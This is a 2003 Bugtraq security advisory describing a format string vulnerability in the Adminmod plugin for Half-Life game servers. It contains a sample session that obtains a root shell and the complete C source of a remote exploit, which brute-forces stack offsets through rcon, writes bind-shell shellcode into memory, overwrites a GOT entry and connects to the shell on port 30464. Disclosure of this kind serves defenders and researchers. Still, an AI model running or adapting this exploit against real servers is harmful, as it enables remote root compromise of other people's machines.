[VSA0302] Half-Life Adminmod remote (root) hole

From: VOID.AT Security (crew@void.at)
Date: 01/10/03

  • Next message: VOID.AT Security: "[VSA0303] Half-Life StatsMe remote (root) hole"
    Date: Fri, 10 Jan 2003 18:46:57 +0100
    From: "VOID.AT Security" <crew@void.at>
    To: bugtraq@securityfocus.com
    
    
    

    [void.at Security Advisory VSA0302]

    Adminmod[1] is a plugin for the "Half-Life Server", hosting
    the most popular online game today, "Counter-Strike", among
    others.

    Overview
    ========

    Due to a format string bug in adminmod, it is possible
    for a remote attacker who knows the rcon-password to
    remotely exploit the gameserver. Since most game-server-
    admins I've seen are not very security-aware, the server
    generally runs as root.

    The rcon-password can be obtained using social engineering
    or sniffing-techniques, since it is being transmitted
    in plaintext. It is needed because the vulnerable function
    can only be called via rcon.

    Affected Versions
    =================

    Adminmod versions 2.50.25a and 2.50.50 on Windows and Linux,
    possibly others.

    Impact
    ======

    High. Remote-shell and very likely remote-root.

    Details
    =======

    Adminmod uses a pseudo-language (and even some kind of a virtual
    machine) to implement its commands. Too bad noone cared about
    format strings when writing the functions, so exactly the same
    vulnerability can be triggered using one of the following commands:

    admin_ban
    admin_banip
    admin_bury
    admin_execclient
    admin_gag
    admin_godmode
    admin_kick
    admin_llama
    admin_map
    admin_noclip
    admin_psay
    admin_slap
    admin_slay
    admin_teleport
    admin_unbury
    admin_ungag
    admin_unllama
    admin_userorigin
    admin_vote_kick
    admin_vote_map

    Seems like a cut-and-paste-error when you look at the code :-)
    All these functions suffer from the improper use of "selfmessage",
    like in the code for "admin_map":

    if (valid_map(Data)==1) {
        say_command(User,Command,Data);
        changelevel(Data, 4);
    } else {
        selfmessage("Bad map name");
        selfmessage(Data);
    }

    Try it out in rcon:
    admin_command admin_map %08x
    L 01/10/2003 - 17:15:05: Bad map name
    L 01/10/2003 - 17:15:05: 434e2ae4

    "selfmessage" calls "System_Response" with our string (util.cpp):
    80 void System_Response(char *str,edict_t *pAdminEnt) {
    81
    82 if(pAdminEnt==NULL) {
    83 UTIL_LogPrintf(str);
    84 } else {
    85 CLIENT_PRINTF( pAdminEnt, print_console,str);
    86 }
    87
    88 }

    Too bad, CLIENT_PRINTF is safe, so this vulnerability can only
    be triggered via rcon (when we are at the console, pAdminEnt==NULL.)
    UTIL_LogPrintf behaves like a normal printf-function.

    Solution
    ========

    Disable adminmod until a patched version becomes available.
    Change the rcon-password.

    Exploit
    =======

    Please find attached a demonstration exploit. Note that it will
    only work against a Linux-server due to the exploitation technique.
    This does NOT mean that Windows-servers are not vulnerable, they
    still suffer from the same hole.

    Sample exploitation session
    ===========================

    greuff@saturn:~$ ./hoagie_adminmod localhost 27015 myprecious
    hoagie_adminmod - remote exploit for hlds servers using the adminmod plugin
    by greuff@void.at

    Getting stackpop count....
    Stackpops found: 29, Padding: 0
    Writing shellcode....
    Connecting to the shell...
    Connect to the shell
    id
    uid=0(root) gid=0(root) groups=0(root),101(lpadmin)
    exit

    Discovered by
    =============

    greuff <greuff@void.at>

    Credits
    =======

    void.at
    everyone who was at 19c3

    References
    ==========

    [1] http://www.adminmod.org

    ==================================================================

    /*****************************************************************
      * hoagie_adminmod.c
      *
      * Remote exploit for Halflife-Servers running the Adminmod-Plugin
      * (rcon-password required)
      *
      * Binds a shell to port 30464/tcp and connects to it.
      *
      * Author: greuff@void.at
      *
      * Tested on HL-Server v3.1.1.0 and AdminMod 2.50.26a, 2.50.50
      *
      * Credits:
      * void.at
      * Taeho Oh for using parts of his shellcode-connection code.
      *
      * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
      * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
      * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
      *
      *****************************************************************/

    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <stdio.h>
    #include <errno.h>
    #include <string.h>

    #define VSNPRINTF_GOT_ADDRESS 0x0804ce18
    #define OFFSET 0x41414141

    #define SB4(a) ((unsigned int)(a>>24))
    #define SB3(a) ((unsigned int)((a>>16)&0xFF))
    #define SB2(a) ((unsigned int)((a>>8)&0xFF))
    #define SB1(a) ((unsigned int)(a&0XFF))

    // forks and binds a shell to 30464/tcp. parent process exit()s.
    char shellcode[] = "\x31\xc0\x40\x40\xcd\x80\x89\xc0\x85\xc0\x74\x06"
                        "\x31\xc0\xb0\x01\xcd\x80"
                        "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
                        "\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
                        "\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x77"
                        "\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
                        "\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
                        "\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
                        "\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
                        "\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
                        "\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
                        "\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
                        "\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
                        "\x24\x31\xc0\xb0\x0b\xcd\x80"
                        "\x31\xc0\xb0\x01\xcd\x80";

    char server_ip[20];
    char rcon_pwd[30];
    int server_port;

    int exec_sh(int sockfd)
    {
             char snd[4096],rcv[4096];
             fd_set rset;
             while(1)
             {
                     FD_ZERO(&rset);
                     FD_SET(fileno(stdin),&rset);
                     FD_SET(sockfd,&rset);
                     select(255,&rset,NULL,NULL,NULL);
                     if(FD_ISSET(fileno(stdin),&rset))
                     {
                             memset(snd,0,sizeof(snd));
                             fgets(snd,sizeof(snd),stdin);
                             write(sockfd,snd,strlen(snd));
                     }
                     if(FD_ISSET(sockfd,&rset))
                     {
                             memset(rcv,0,sizeof(rcv));
                             if(read(sockfd,rcv,sizeof(rcv))<=0)
                                     exit(0);
                             fputs(rcv,stdout);
                     }
             }
    }

    int connect_sh()
    {
             int sockfd,i;
             struct sockaddr_in sin;
             printf("Connect to the shell\n");
             fflush(stdout);
             memset(&sin,0,sizeof(sin));
             sin.sin_family=AF_INET;
             sin.sin_port=htons(30464);
             if(inet_aton(server_ip,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
             if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
             {
                     printf("Can't create socket\n");
                     exit(0);
             }
             if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
             {
                     printf("Can't connect to the shell\n");
                     exit(0);
             }
             return sockfd;
    }

    void create_conn(int *sock, char *host, int port)
    {
        struct sockaddr_in sin;
        struct timeval timeout;

        sin.sin_family=AF_INET;
        sin.sin_port=htons(port);
        if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
        if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);

        timeout.tv_sec=10;
        timeout.tv_usec=0;
        if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout,
           sizeof(timeout))<0)
           perror("setsockopt"),exit(1);
        if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout,
           sizeof(timeout))<0)
           perror("setsockopt"),exit(1);
    }

    void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
    {
        char msg[2000];
        struct sockaddr_in sin;
        struct sockaddr_in sfrom;
        fd_set fdset;
        int dummy;

        usleep(100);

        sin.sin_family=AF_INET;
        sin.sin_port=htons(port);
        if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);

        sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
        if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
           perror("sendto"), exit(1);

        if(reply)
        {
           if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
           {
              if(errno==EAGAIN)
              {
                 // resend message
                 printf("msg stalled, resending...\n");
                 sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
                 if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
                    perror("sendto"), exit(1);
                 else
                    printf("resend OK\n");
                 if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
                    perror("recvfrom"),exit(1);
              }
              else
                 perror("recvfrom"), exit(1);
           }

           if(strncmp(msg,"\xFF\xFF\xFF\xFF",4))
              fprintf(stderr,"protocol error: reply\n"), exit(1);

           strcpy(reply,msg+4);
        }
    }

    void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char *reply_fun)
    {
        char reply[1000];
        char msg[2000];

        lowlevel_rcon(sock,host,port,"challenge rcon",reply);
        if(!strstr(reply,"challenge rcon "))
           fprintf(stderr,"protocol error\n"), exit(1);
        reply[strlen(reply)-1]=0;

        sprintf(msg,"rcon %s \"%s\" %s",reply+strlen("challenge rcon "),rconpwd,cmd);
        if(reply_fun)
           lowlevel_rcon(sock,host,port,msg,reply);
        else
           lowlevel_rcon(sock,host,port,msg,NULL);
        if(reply_fun)
           strcpy(reply_fun,reply);
    }

    int get_padding(unsigned char c,int bytes_written)
    {
        int write_byte=c;
        int already_written=bytes_written;
        int padding;

        write_byte+=0x100;
        already_written%=0x100;
        padding=(write_byte-already_written)%0x100;
        if(padding<10) padding+=0x100;

        return padding;
    }

    void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,
                             int *p4, int bytes_written)
    {
        // greetings to scud :-)
        int write_byte;
        int already_written;
        int padding;

        write_byte=SB1(addr);
        already_written=bytes_written;
        write_byte+=0x100;
        already_written%=0x100;
        padding=(write_byte-already_written)%0x100;
        if(padding<10) padding+=0x100;
        *p1=padding;

        write_byte=SB2(addr);
        already_written+=padding;
        write_byte+=0x100;
        already_written%=0x100;
        padding=(write_byte-already_written)%0x100;
        if(padding<10) padding+=0x100;
        *p2=padding;

        write_byte=SB3(addr);
        already_written+=padding;
        write_byte+=0x100;
        already_written%=0x100;
        padding=(write_byte-already_written)%0x100;
        if(padding<10) padding+=0x100;
        *p3=padding;

        write_byte=SB4(addr);
        already_written+=padding;
        write_byte+=0x100;
        already_written%=0x100;
        padding=(write_byte-already_written)%0x100;
        if(padding<10) padding+=0x100;
        *p4=padding;
    }

    int main(int argc, char **argv)
    {
        int sock, stackpops, padding;
        int i,j,bytes_written;
        int p1,p2,p3,p4;
        char cmd[1000], reply[1000];
        unsigned long addr;

        printf("hoagie_adminmod - remote exploit for hlds servers using the adminmod plugin\n"
               "by greuff@void.at\n\n");
        if(argc!=4)
        {
           printf("Usage: %s server_ip server_port rcon_password\n\n",argv[0]);
           exit(1);
        }

        strcpy(server_ip,argv[1]);
        server_port=strtol(argv[2],NULL,10);
        strcpy(rcon_pwd,argv[3]);

        create_conn(&sock,server_ip,server_port);

        printf("Getting stackpop count...");
        send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply);
        stackpops=-1;
        for(padding=0;padding<4 && stackpops==-1;padding++)
        {
           for(i=1;i<100 && stackpops==-1;i++)
           {
              strcpy(cmd,"admin_command admin_map ");
              for(j=0;j<padding;j++) strcat(cmd,"b");
              sprintf(reply,"AAAA%%%d$08x",i);
              strcat(cmd,reply);

              send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
              reply[strlen(reply)-1]=0;
              if(strstr(reply,"AAAA41414141"))
              {
                 stackpops=i;
                bytes_written=4+padding;
              }
              printf(".");
              fflush(stdout);
           }
        }
        padding--;
        if(stackpops==-1)
        {
           printf("\ncouldn't determine stackpop count. (I really tried hard!)\n");
           exit(1);
        }

        printf("\nStackpops found: %d, Padding: %d\n",stackpops,padding);

        // inject shellcode
        printf("Writing shellcode...");
        addr=OFFSET;
        for(i=0;i<strlen(shellcode);)
        {
           int t;
           if((addr&0xFF)>0x75)
           {
              // leave space for jmp-instruction (5 bytes: 0xe9 offset/32)
              // distance is 0x13B-0x7A = 193d
              unsigned long target=192;

              strcpy(cmd,"admin_command admin_map ");
              for(j=0;j<padding;j++) strcat(cmd,"b");
              t=get_padding(0xe9,bytes_written);
              sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
                  (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
              strcat(cmd,reply);
              send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

              addr++;
              strcpy(cmd,"admin_command admin_map ");
              for(j=0;j<padding;j++) strcat(cmd,"b");
              t=get_padding(target&0xFF,bytes_written);
              sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
                  (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
              strcat(cmd,reply);
              send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

              addr++;
              strcpy(cmd,"admin_command admin_map ");
              for(j=0;j<padding;j++) strcat(cmd,"b");
              t=get_padding((target>>8)&0xFF,bytes_written);
              sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
                  (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
              strcat(cmd,reply);
              send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

              addr++;
              strcpy(cmd,"admin_command admin_map ");
              for(j=0;j<padding;j++) strcat(cmd,"b");
              t=get_padding((target>>16)&0xFF,bytes_written);
              sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
                  (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
              strcat(cmd,reply);
              send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

              addr++;
              strcpy(cmd,"admin_command admin_map ");
              for(j=0;j<padding;j++) strcat(cmd,"b");
              t=get_padding((target>>24)&0xFF,bytes_written);
              sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
                  (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
              strcat(cmd,reply);
              send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

              addr+=193;
           }
           else
           {
              // write shellcode-pieces
              strcpy(cmd,"admin_command admin_map ");
              for(j=0;j<padding;j++) strcat(cmd,"b");
              t=get_padding(shellcode[i],bytes_written);
              sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
                  (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
              strcat(cmd,reply);
              send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
              addr++;
              i++;
           }
           printf(".");
           fflush(stdout);
        }

        // overwrite GOT entry with shellcode address
        strcpy(cmd,"admin_command admin_map ");
        for(j=0;j<padding;j++) strcat(cmd,"b");
        get_write_paddings(OFFSET,&p1,&p2,&p3,&p4,bytes_written+28);
        addr=VSNPRINTF_GOT_ADDRESS;
        sprintf(reply,"%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA"
                      "%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n",
                      addr&0xFF,(addr>>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF,
                      (addr+1)&0xFF,((addr+1)>>8)&0xFF,((addr+1)>>16)&0xFF,((addr+1)>>24)&0xFF,
                      (addr+2)&0xFF,((addr+2)>>8)&0xFF,((addr+2)>>16)&0xFF,((addr+2)>>24)&0xFF,
                      (addr+3)&0xFF,((addr+3)>>8)&0xFF,((addr+3)>>16)&0xFF,((addr+3)>>24)&0xFF,
                      p1,stackpops,p2,stackpops+2,p3,stackpops+4,p4,stackpops+6);
        strcat(cmd,reply);
        send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,NULL);
        sleep(1);
        close(sock);
        printf("\nConnecting to the shell...\n");
        exec_sh(connect_sh());
        return 0;
    }

    
    




    Relevant Pages

    • [UNIX] ATP HTTP Daemon Buffer Overflow
      ... A security vulnerability in the product allows remote ... NULL char to the end of the string. ... int start_byte; ... of buffer's string (without any environment variables except '_')! ...
      (Securiteam)
    • [VSA0302] Half-Life Adminmod remote (root) hole
      ... Adminmod versions 2.50.25a and 2.50.50 on Windows and Linux, ... hoagie_adminmod - remote exploit for hlds servers using the adminmod plugin ... char rcon_pwd; ... int exec_sh ...
      (Bugtraq)
    • [Full-disclosure] Cyrus IMAPD pop3d remote compromise aka cyrusFUCK3d
      ... Cyrus-imapd pop3d Remote Stack Based Buffer Overrun ... unsigned flags, const char *user_realm, ... int do_connect ... void do_exploit(int sock, unsigned int returnaddr) ...
      (Full-Disclosure)
    • [VSA0301] Half-Life Clanmod remote (root) hole
      ... All Clanmod versions on Windows and Linux. ... hoagie_clanmod - remote exploit for hlds servers using the clanmod plugin ... char rcon_pwd; ... int exec_sh ...
      (Bugtraq)
    • [NT] WinCom LPD Total Multiple Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... have been discovered in WinCom LPD Total, these allow a remote attacker to ... void fgetz(u8 *data, int size, FILE *fd); ... buff = malloc; ...
      (Securiteam)